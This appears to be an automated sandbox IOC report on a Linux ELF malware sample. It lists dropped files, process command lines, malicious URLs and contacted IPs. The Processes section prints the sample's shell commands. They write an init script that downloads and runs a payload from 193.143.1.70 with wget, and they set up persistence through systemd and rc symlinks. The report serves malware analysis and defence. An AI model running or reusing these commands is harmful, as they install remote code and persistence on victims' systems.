IOC Report
x86_64.nn.elf

loading gif

Files

File Path
Type
Category
Malicious
x86_64.nn.elf
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
initial sample
 malicious
/etc/init.d/mybinary
POSIX shell script, ASCII text executable
dropped
 malicious
/etc/init.d/sh
POSIX shell script, ASCII text executable
dropped
 malicious
/etc/profile
ASCII text
dropped
 malicious
/etc/rc.local
POSIX shell script, ASCII text executable
dropped
 malicious
/boot/bootcmd
ASCII text
dropped
/etc/inittab
ASCII text
dropped
/etc/motd
ASCII text
dropped
/etc/systemd/system/custom.service
ASCII text
dropped
/memfd:snapd-env-generator (deleted)
ASCII text
dropped

Processes

Path
Cmdline
Malicious
/tmp/x86_64.nn.elf
/tmp/x86_64.nn.elf
/tmp/x86_64.nn.elf
-
/tmp/x86_64.nn.elf
-
/bin/sh
sh -c "systemctl enable custom.service >/dev/null 2>&1"
/bin/sh
-
/usr/bin/systemctl
systemctl enable custom.service
/tmp/x86_64.nn.elf
-
/bin/sh
sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1"
/bin/sh
-
/usr/bin/chmod
chmod +x /etc/init.d/mybinary
/tmp/x86_64.nn.elf
-
/bin/sh
sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1"
/bin/sh
-
/usr/bin/ln
ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary
/tmp/x86_64.nn.elf
-
/bin/sh
sh -c "echo \"#!/bin/sh\n# /etc/init.d/sh\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sh'\n /bin/sh &\n wget http://193.143.1.70/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sh'\n killall sh\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sh"
/tmp/x86_64.nn.elf
-
/bin/sh
sh -c "chmod +x /etc/init.d/sh >/dev/null 2>&1"
/bin/sh
-
/usr/bin/chmod
chmod +x /etc/init.d/sh
/tmp/x86_64.nn.elf
-
/bin/sh
sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
/bin/sh
-
/usr/bin/mkdir
mkdir -p /etc/rc.d
/tmp/x86_64.nn.elf
-
/bin/sh
sh -c "ln -s /etc/init.d/sh /etc/rc.d/S99sh >/dev/null 2>&1"
/bin/sh
-
/usr/bin/ln
ln -s /etc/init.d/sh /etc/rc.d/S99sh
/tmp/x86_64.nn.elf
-
/tmp/x86_64.nn.elf
-
/tmp/x86_64.nn.elf
-
/usr/lib/udisks2/udisksd
-
/usr/sbin/dumpe2fs
dumpe2fs -h /dev/dm-0
/usr/libexec/gnome-session-binary
-
/bin/sh
/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping
/usr/libexec/gsd-housekeeping
/usr/libexec/gsd-housekeeping
/usr/lib/udisks2/udisksd
-
/usr/sbin/dumpe2fs
dumpe2fs -h /dev/dm-0
/usr/lib/systemd/systemd
-
/usr/lib/systemd/system-environment-generators/snapd-env-generator
/usr/lib/systemd/system-environment-generators/snapd-env-generator
/usr/lib/udisks2/udisksd
-
/usr/sbin/dumpe2fs
dumpe2fs -h /dev/dm-0
/usr/lib/udisks2/udisksd
-
/usr/sbin/dumpe2fs
dumpe2fs -h /dev/dm-0
/usr/lib/udisks2/udisksd
-
/usr/sbin/dumpe2fs
dumpe2fs -h /dev/dm-0
/usr/lib/udisks2/udisksd
-
/usr/sbin/dumpe2fs
dumpe2fs -h /dev/dm-0
There are 38 hidden processes, click here to show them.

URLs

Name
IP
Malicious
http://193.143.1.70/curl.sh
unknown
http://193.143.1.70/lol.sh
unknown
http://193.143.1.70/
unknown

Domains

Name
IP
Malicious
daisy.ubuntu.com
162.213.35.25

IPs

IP
Domain
Country
Malicious
193.227.110.242
unknown
Romania
157.32.129.181
unknown
India
111.41.167.231
unknown
China
207.95.195.57
unknown
United States
101.238.105.231
unknown
China
112.180.14.218
unknown
Korea Republic of
144.124.52.126
unknown
United Kingdom
140.192.244.215
unknown
United States
23.181.194.87
unknown
Reserved
126.35.157.140
unknown
Japan
195.168.15.172
unknown
Slovakia (SLOVAK Republic)
160.160.178.221
unknown
Morocco
142.206.167.154
unknown
Canada
18.154.178.112
unknown
United States
220.175.194.122
unknown
China
106.224.168.227
unknown
China
9.228.216.215
unknown
United States
43.44.30.245
unknown
Japan
21.89.71.229
unknown
United States
122.65.66.20
unknown
China
200.129.100.153
unknown
Brazil
34.77.167.149
unknown
United States
196.73.235.77
unknown
Morocco
207.133.8.149
unknown
United States
211.125.173.56
unknown
Japan
113.208.24.169
unknown
Japan
115.87.214.18
unknown
Thailand
32.213.194.163
unknown
United States
5.212.21.2
unknown
Iran (ISLAMIC Republic Of)
170.8.136.105
unknown
United States
62.168.73.79
unknown
Slovakia (SLOVAK Republic)
148.40.143.38
unknown
United States
209.219.186.14
unknown
United States
47.196.146.5
unknown
United States
53.174.62.99
unknown
Germany
206.199.125.231
unknown
United States
53.168.156.34
unknown
Germany
62.182.97.138
unknown
United Kingdom
188.110.194.89
unknown
Germany
43.23.107.30
unknown
Japan
161.246.57.87
unknown
Thailand
113.12.16.140
unknown
China
33.61.40.224
unknown
United States
45.25.126.66
unknown
United States
124.162.131.93
unknown
China
82.119.1.128
unknown
Germany
39.12.185.110
unknown
Taiwan; Republic of China (ROC)
200.255.110.114
unknown
Brazil
193.183.101.104
unknown
Sweden
31.223.66.192
unknown
Turkey
26.190.200.25
unknown
United States
171.78.2.253
unknown
India
64.190.99.77
unknown
United States
89.159.252.107
unknown
France
122.11.9.236
unknown
China
50.248.63.81
unknown
United States
158.162.18.57
unknown
Portugal
193.143.1.59
unknown
unknown
136.104.140.83
unknown
United States
218.115.253.199
unknown
Japan
116.161.90.59
unknown
China
81.133.134.137
unknown
United Kingdom
186.119.165.197
unknown
Colombia
194.218.41.180
unknown
Sweden
219.156.139.54
unknown
China
81.194.110.235
unknown
France
63.142.25.40
unknown
United States
48.11.243.211
unknown
United States
194.156.30.70
unknown
Germany
6.55.252.178
unknown
United States
166.152.63.188
unknown
United States
34.125.29.91
unknown
United States
212.237.156.247
unknown
Luxembourg
157.25.111.135
unknown
Poland
67.159.164.129
unknown
United States
124.91.251.148
unknown
China
196.66.210.114
unknown
Morocco
210.35.19.92
unknown
China
121.220.99.34
unknown
Australia
221.108.70.88
unknown
Japan
54.91.75.127
unknown
United States
54.197.178.60
unknown
United States
155.12.27.148
unknown
Tanzania United Republic of
173.154.47.54
unknown
United States
186.103.183.135
unknown
Chile
118.122.129.208
unknown
China
126.215.214.117
unknown
Japan
166.40.118.64
unknown
United States
1.144.92.233
unknown
Australia
45.131.50.184
unknown
Russian Federation
152.92.88.216
unknown
Brazil
101.164.54.116
unknown
Australia
43.178.1.114
unknown
Japan
180.18.192.18
unknown
Japan
190.163.96.136
unknown
Chile
188.21.228.239
unknown
Austria
75.146.14.227
unknown
United States
217.78.182.197
unknown
Russian Federation
162.73.34.26
unknown
Canada
148.135.210.242
unknown
Sweden
There are 90 hidden IPs, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
418000
page execute read
 malicious
418000
page execute read
 malicious
51b000
page read and write
518000
page read and write
518000
page read and write
7ffcc2eb5000
page read and write
7ffcc2f31000
page execute read
7ffcc2eb5000
page read and write
15dd000
page read and write
7ffcc2f31000
page execute read
15e3000
page read and write
15dd000
page read and write
51b000
page read and write
There are 3 hidden memdumps, click here to show them.